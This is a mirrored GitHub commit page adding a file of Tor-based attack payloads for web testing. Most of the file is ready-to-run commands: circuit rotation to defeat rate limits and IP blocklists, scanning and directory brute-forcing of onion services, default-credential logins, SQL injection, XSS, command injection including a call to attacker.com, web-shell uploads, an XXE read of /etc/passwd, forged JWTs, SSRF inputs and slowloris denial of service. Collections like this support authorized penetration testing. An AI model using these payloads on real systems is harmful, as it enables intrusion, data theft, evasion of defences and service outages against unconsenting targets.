mirror of
https://github.com/0x5t4l1n/hunting.git
synced 2026-05-26 19:36:33 +00:00
Add timing attacks, Tor-based attacks, SSJI, symbolic link attacks, and enhanced auth bypass payloads
Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com>
This commit is contained in:
@@ -0,0 +1,444 @@
|
||||
# Tor-Based Attack Payloads
|
||||
|
||||
# ============================================
|
||||
# 1. TOR CONNECTION SETUP
|
||||
# ============================================
|
||||
|
||||
# Tor SOCKS proxy configuration
|
||||
SOCKS_PROXY=socks5h://127.0.0.1:9050
|
||||
HTTP_PROXY=http://127.0.0.1:8118 # Polipo/Privoxy
|
||||
|
||||
# Test Tor connection
|
||||
curl --socks5-hostname 127.0.0.1:9050 https://check.torproject.org/
|
||||
curl --socks5-hostname 127.0.0.1:9050 https://icanhazip.com
|
||||
|
||||
# ============================================
|
||||
# 2. TOR EXIT NODE LIST CHECKING
|
||||
# ============================================
|
||||
|
||||
# Get Tor exit node list
|
||||
curl https://check.torproject.org/torbulkexitlist
|
||||
|
||||
# Check if IP is Tor exit node
|
||||
curl "https://check.torproject.org/cgi-bin/TorBulkExitList.py?ip=TARGET_IP"
|
||||
|
||||
# DNS-based Tor exit node check
|
||||
# Query: REVERSE_IP.REVERSE_TARGET_IP.ip-port.exitlist.torproject.org
|
||||
# Example: dig 1.0.0.127.80.1.0.168.192.ip-port.exitlist.torproject.org
|
||||
|
||||
# ============================================
|
||||
# 3. RATE LIMITING BYPASS
|
||||
# ============================================
|
||||
|
||||
# Rotate Tor circuits for new IP
|
||||
# Using stem library
|
||||
# controller.signal(Signal.NEWNYM)
|
||||
|
||||
# Automated requests with circuit rotation
|
||||
# Request 1-10 with IP A
|
||||
# Rotate circuit (get new IP)
|
||||
# Request 11-20 with IP B
|
||||
# Continue...
|
||||
|
||||
# Testing rate limits
|
||||
for i in {1..100}; do
|
||||
curl --socks5-hostname 127.0.0.1:9050 https://example.com/api/endpoint
|
||||
# Rotate every 10 requests
|
||||
if [ $((i % 10)) -eq 0 ]; then
|
||||
killall -HUP tor
|
||||
sleep 5
|
||||
fi
|
||||
done
|
||||
|
||||
# ============================================
|
||||
# 4. ONION SERVICE ENUMERATION
|
||||
# ============================================
|
||||
|
||||
# Common onion service patterns
|
||||
http://*.onion
|
||||
http://*.onion/admin
|
||||
http://*.onion/login
|
||||
http://*.onion/panel
|
||||
http://*.onion/api
|
||||
|
||||
# Known onion services for testing
|
||||
http://3g2upl4pq6kufc4m.onion (DuckDuckGo)
|
||||
http://thehiddenwiki.onion
|
||||
http://darknetlive.onion
|
||||
|
||||
# Subdirectory enumeration
|
||||
/admin
|
||||
/panel
|
||||
/dashboard
|
||||
/api
|
||||
/login
|
||||
/register
|
||||
/upload
|
||||
/download
|
||||
/files
|
||||
|
||||
# ============================================
|
||||
# 5. ONION SERVICE SCANNING
|
||||
# ============================================
|
||||
|
||||
# Port scanning through Tor
|
||||
proxychains nmap -sT -Pn -p 80,443,8080 example.onion
|
||||
|
||||
# Service detection
|
||||
proxychains nmap -sV -p 80 example.onion
|
||||
|
||||
# Directory bruteforce
|
||||
gobuster dir --proxy socks5://127.0.0.1:9050 -u http://example.onion -w wordlist.txt
|
||||
|
||||
# Nikto scan
|
||||
proxychains nikto -h http://example.onion
|
||||
|
||||
# ============================================
|
||||
# 6. TOR BROWSER FINGERPRINTING EVASION
|
||||
# ============================================
|
||||
|
||||
# Tor Browser User-Agent strings
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
|
||||
|
||||
# Standard Tor Browser headers
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
DNT: 1
|
||||
Connection: keep-alive
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
# ============================================
|
||||
# 7. HIDDEN SERVICE AUTHENTICATION TESTING
|
||||
# ============================================
|
||||
|
||||
# Test default credentials on onion services
|
||||
curl --socks5-hostname 127.0.0.1:9050 http://example.onion/login -d "username=admin&password=admin"
|
||||
curl --socks5-hostname 127.0.0.1:9050 http://example.onion/login -d "username=admin&password=password"
|
||||
curl --socks5-hostname 127.0.0.1:9050 http://example.onion/login -d "username=administrator&password=administrator"
|
||||
|
||||
# Authentication bypass attempts
|
||||
curl --socks5-hostname 127.0.0.1:9050 http://example.onion/admin
|
||||
curl --socks5-hostname 127.0.0.1:9050 http://example.onion/admin -H "Authorization: Bearer null"
|
||||
curl --socks5-hostname 127.0.0.1:9050 http://example.onion/admin -H "Cookie: admin=true"
|
||||
|
||||
# ============================================
|
||||
# 8. SSRF TO INTERNAL ONION SERVICES
|
||||
# ============================================
|
||||
|
||||
# SSRF payloads targeting onion services
|
||||
url=http://internal.onion
|
||||
url=http://admin.onion
|
||||
url=http://localhost.onion
|
||||
url=http://192.168.1.1.onion
|
||||
|
||||
# Testing internal onion service access
|
||||
{"webhook_url": "http://internal.onion/api"}
|
||||
{"callback": "http://admin-panel.onion"}
|
||||
|
||||
# ============================================
|
||||
# 9. SQL INJECTION ON ONION SERVICES
|
||||
# ============================================
|
||||
|
||||
# Test SQLi through Tor
|
||||
curl --socks5-hostname 127.0.0.1:9050 "http://example.onion/page?id=1' OR '1'='1"
|
||||
curl --socks5-hostname 127.0.0.1:9050 "http://example.onion/search?q=test' UNION SELECT NULL--"
|
||||
|
||||
# Automated SQLi testing
|
||||
sqlmap -u "http://example.onion/page?id=1" --tor --tor-type=SOCKS5 --check-tor
|
||||
|
||||
# ============================================
|
||||
# 10. XSS ON ONION SERVICES
|
||||
# ============================================
|
||||
|
||||
# XSS payloads for onion services
|
||||
<script>alert(document.domain)</script>
|
||||
<img src=x onerror=alert(document.cookie)>
|
||||
<svg/onload=alert(1)>
|
||||
|
||||
# Reflected XSS testing
|
||||
curl --socks5-hostname 127.0.0.1:9050 "http://example.onion/search?q=<script>alert(1)</script>"
|
||||
|
||||
# ============================================
|
||||
# 11. COMMAND INJECTION ON ONION SERVICES
|
||||
# ============================================
|
||||
|
||||
# Command injection payloads
|
||||
; whoami
|
||||
| ls -la
|
||||
` cat /etc/passwd`
|
||||
$(curl attacker.com)
|
||||
|
||||
# Testing command injection
|
||||
curl --socks5-hostname 127.0.0.1:9050 "http://example.onion/ping?host=127.0.0.1; whoami"
|
||||
|
||||
# ============================================
|
||||
# 12. FILE UPLOAD ON ONION SERVICES
|
||||
# ============================================
|
||||
|
||||
# Upload malicious files through Tor
|
||||
curl --socks5-hostname 127.0.0.1:9050 -F "file=@shell.php" http://example.onion/upload
|
||||
curl --socks5-hostname 127.0.0.1:9050 -F "file=@backdoor.jsp" http://example.onion/upload
|
||||
|
||||
# ============================================
|
||||
# 13. TOR CIRCUIT MANIPULATION
|
||||
# ============================================
|
||||
|
||||
# Request specific exit nodes
|
||||
# In torrc:
|
||||
ExitNodes {US}
|
||||
StrictNodes 1
|
||||
|
||||
# Avoid specific exit nodes
|
||||
ExcludeExitNodes {CN},{RU}
|
||||
|
||||
# Use specific entry guards
|
||||
EntryNodes $fingerprint1,$fingerprint2
|
||||
|
||||
# ============================================
|
||||
# 14. TIMING ATTACKS THROUGH TOR
|
||||
# ============================================
|
||||
|
||||
# Measure response times for timing attacks
|
||||
for i in {1..100}; do
|
||||
TIME=$(curl --socks5-hostname 127.0.0.1:9050 -w "%{time_total}" -o /dev/null -s "http://example.onion/login?user=admin")
|
||||
echo "Request $i: $TIME seconds"
|
||||
done
|
||||
|
||||
# ============================================
|
||||
# 15. ONION SERVICE DOS
|
||||
# ============================================
|
||||
|
||||
# Stress testing onion service
|
||||
ab -X 127.0.0.1:8118 -n 10000 -c 100 http://example.onion/
|
||||
|
||||
# Slowloris through Tor
|
||||
slowloris --proxy 127.0.0.1:9050 example.onion
|
||||
|
||||
# ============================================
|
||||
# 16. EXIT NODE DETECTION BYPASS
|
||||
# ============================================
|
||||
|
||||
# Rotate circuits to bypass blacklists
|
||||
# After each blocked request, get new circuit
|
||||
killall -HUP tor
|
||||
sleep 5
|
||||
# Retry request
|
||||
|
||||
# Use bridges to hide Tor usage
|
||||
# In torrc:
|
||||
UseBridges 1
|
||||
Bridge obfs4 IP:PORT FINGERPRINT
|
||||
|
||||
# ============================================
|
||||
# 17. ONION SERVICE DISCOVERY
|
||||
# ============================================
|
||||
|
||||
# Search for onion services
|
||||
# Ahmia.fi search API
|
||||
curl "https://ahmia.fi/search/?q=keyword"
|
||||
|
||||
# Dark web search engines
|
||||
# notEvil: http://hss3uro2hsxfogfq.onion
|
||||
# Torch: http://xmh57jrzrnw6insl.onion
|
||||
|
||||
# ============================================
|
||||
# 18. HIDDEN SERVICE DESCRIPTOR ATTACKS
|
||||
# ============================================
|
||||
|
||||
# Query hidden service descriptor
|
||||
# HSDir servers store descriptors
|
||||
# Descriptor ID calculated from onion address
|
||||
|
||||
# Monitor descriptor uploads
|
||||
# Timing analysis on descriptor publication
|
||||
|
||||
# ============================================
|
||||
# 19. TOR BROWSER EXPLOIT TESTING
|
||||
# ============================================
|
||||
|
||||
# JavaScript exploits targeting Tor Browser
|
||||
<script>
|
||||
// Attempt to detect Tor Browser
|
||||
if (navigator.userAgent.includes('Firefox')) {
|
||||
// Tor Browser specific behavior
|
||||
}
|
||||
|
||||
// Canvas fingerprinting (blocked in Tor Browser)
|
||||
var canvas = document.createElement('canvas');
|
||||
// Will return generic fingerprint in Tor Browser
|
||||
</script>
|
||||
|
||||
# ============================================
|
||||
# 20. ONION SERVICE API TESTING
|
||||
# ============================================
|
||||
|
||||
# API endpoint enumeration
|
||||
curl --socks5-hostname 127.0.0.1:9050 http://example.onion/api/v1/
|
||||
curl --socks5-hostname 127.0.0.1:9050 http://example.onion/api/v2/
|
||||
curl --socks5-hostname 127.0.0.1:9050 http://example.onion/api/users
|
||||
curl --socks5-hostname 127.0.0.1:9050 http://example.onion/api/admin
|
||||
|
||||
# GraphQL on onion services
|
||||
curl --socks5-hostname 127.0.0.1:9050 http://example.onion/graphql \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"query":"{__schema{types{name}}}"}'
|
||||
|
||||
# ============================================
|
||||
# 21. TOR BRIDGE ENUMERATION
|
||||
# ============================================
|
||||
|
||||
# Request bridges from BridgeDB
|
||||
curl https://bridges.torproject.org/
|
||||
|
||||
# Test bridge connectivity
|
||||
# In torrc:
|
||||
UseBridges 1
|
||||
Bridge obfs4 BRIDGE_IP:PORT FINGERPRINT cert=CERT iat-mode=0
|
||||
|
||||
# ============================================
|
||||
# 22. ONION SERVICE CORS MISCONFIGURATION
|
||||
# ============================================
|
||||
|
||||
# Test CORS on onion services
|
||||
curl --socks5-hostname 127.0.0.1:9050 http://example.onion/api \
|
||||
-H "Origin: http://attacker.onion"
|
||||
|
||||
# Check CORS headers
|
||||
Access-Control-Allow-Origin: *
|
||||
Access-Control-Allow-Credentials: true
|
||||
|
||||
# ============================================
|
||||
# 23. WEBSOCKET ON ONION SERVICES
|
||||
# ============================================
|
||||
|
||||
# WebSocket connections through Tor
|
||||
wscat --proxy socks5://127.0.0.1:9050 -c ws://example.onion/ws
|
||||
|
||||
# Test WebSocket security
|
||||
{"type":"auth","token":"' OR '1'='1"}
|
||||
|
||||
# ============================================
|
||||
# 24. ONION SERVICE IDOR
|
||||
# ============================================
|
||||
|
||||
# Test IDOR on onion services
|
||||
curl --socks5-hostname 127.0.0.1:9050 http://example.onion/api/user/1
|
||||
curl --socks5-hostname 127.0.0.1:9050 http://example.onion/api/user/2
|
||||
curl --socks5-hostname 127.0.0.1:9050 http://example.onion/api/user/999
|
||||
|
||||
# ============================================
|
||||
# 25. TOR CONSENSUS MANIPULATION
|
||||
# ============================================
|
||||
|
||||
# Download Tor consensus
|
||||
curl https://collector.torproject.org/recent/relay-descriptors/consensuses/
|
||||
|
||||
# Analyze relay information
|
||||
# Identify potential malicious relays
|
||||
|
||||
# ============================================
|
||||
# 26. ONION SERVICE JWT ATTACKS
|
||||
# ============================================
|
||||
|
||||
# Test JWT on onion services
|
||||
curl --socks5-hostname 127.0.0.1:9050 http://example.onion/api \
|
||||
-H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiJ9."
|
||||
|
||||
# JWT weak secret
|
||||
# Brute force JWT secret on onion service
|
||||
|
||||
# ============================================
|
||||
# 27. ONION SERVICE XXE
|
||||
# ============================================
|
||||
|
||||
# XXE payload for onion services
|
||||
curl --socks5-hostname 127.0.0.1:9050 http://example.onion/api \
|
||||
-H "Content-Type: application/xml" \
|
||||
-d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>'
|
||||
|
||||
# ============================================
|
||||
# 28. ONION SERVICE SSRF
|
||||
# ============================================
|
||||
|
||||
# SSRF payloads targeting internal onion services
|
||||
{"url": "http://internal.onion"}
|
||||
{"url": "http://127.0.0.1:9050"}
|
||||
{"url": "http://localhost"}
|
||||
|
||||
# ============================================
|
||||
# 29. TOR DIRECTORY AUTHORITY MONITORING
|
||||
# ============================================
|
||||
|
||||
# Monitor directory authorities
|
||||
# 9 directory authorities in Tor network
|
||||
# moria1, tor26, dizum, gabelmoo, maatuska, longclaw, bastet, faravahar, Serge
|
||||
|
||||
# Query directory authority
|
||||
curl http://128.31.0.34:9131/tor/status-vote/current/consensus
|
||||
|
||||
# ============================================
|
||||
# 30. ONION SERVICE SECURITY HEADERS
|
||||
# ============================================
|
||||
|
||||
# Check security headers on onion services
|
||||
curl --socks5-hostname 127.0.0.1:9050 -I http://example.onion
|
||||
|
||||
# Missing security headers:
|
||||
# Strict-Transport-Security
|
||||
# X-Content-Type-Options
|
||||
# X-Frame-Options
|
||||
# Content-Security-Policy
|
||||
|
||||
# ============================================
|
||||
# PYTHON TOR AUTOMATION EXAMPLES
|
||||
# ============================================
|
||||
|
||||
# Python with Tor SOCKS proxy
|
||||
import requests
|
||||
|
||||
proxies = {
|
||||
'http': 'socks5h://127.0.0.1:9050',
|
||||
'https': 'socks5h://127.0.0.1:9050'
|
||||
}
|
||||
|
||||
response = requests.get('http://example.onion', proxies=proxies)
|
||||
|
||||
# Python with Stem (Tor controller)
|
||||
from stem import Signal
|
||||
from stem.control import Controller
|
||||
|
||||
with Controller.from_port(port=9051) as controller:
|
||||
controller.authenticate()
|
||||
controller.signal(Signal.NEWNYM) # New identity
|
||||
|
||||
# ============================================
|
||||
# BASH TOR AUTOMATION EXAMPLES
|
||||
# ============================================
|
||||
|
||||
# Rotate Tor identity
|
||||
killall -HUP tor
|
||||
|
||||
# Check current Tor IP
|
||||
curl --socks5-hostname 127.0.0.1:9050 https://icanhazip.com
|
||||
|
||||
# Automated onion service scanner
|
||||
#!/bin/bash
|
||||
ONIONS=("example1.onion" "example2.onion" "example3.onion")
|
||||
for onion in "${ONIONS[@]}"; do
|
||||
echo "Scanning $onion"
|
||||
proxychains nmap -sT -Pn -p 80,443 $onion
|
||||
proxychains nikto -h http://$onion
|
||||
done
|
||||
|
||||
# ============================================
|
||||
# TOR CIRCUIT INFORMATION
|
||||
# ============================================
|
||||
|
||||
# Get current circuit info
|
||||
# Using Tor control port (9051)
|
||||
echo -e 'AUTHENTICATE ""\r\nGETINFO circuit-status\r\nQUIT' | nc 127.0.0.1 9051
|
||||
|
||||
# Monitor circuit creation
|
||||
# Using stem library to get real-time circuit events
|
||||
Reference in New Issue
Block a user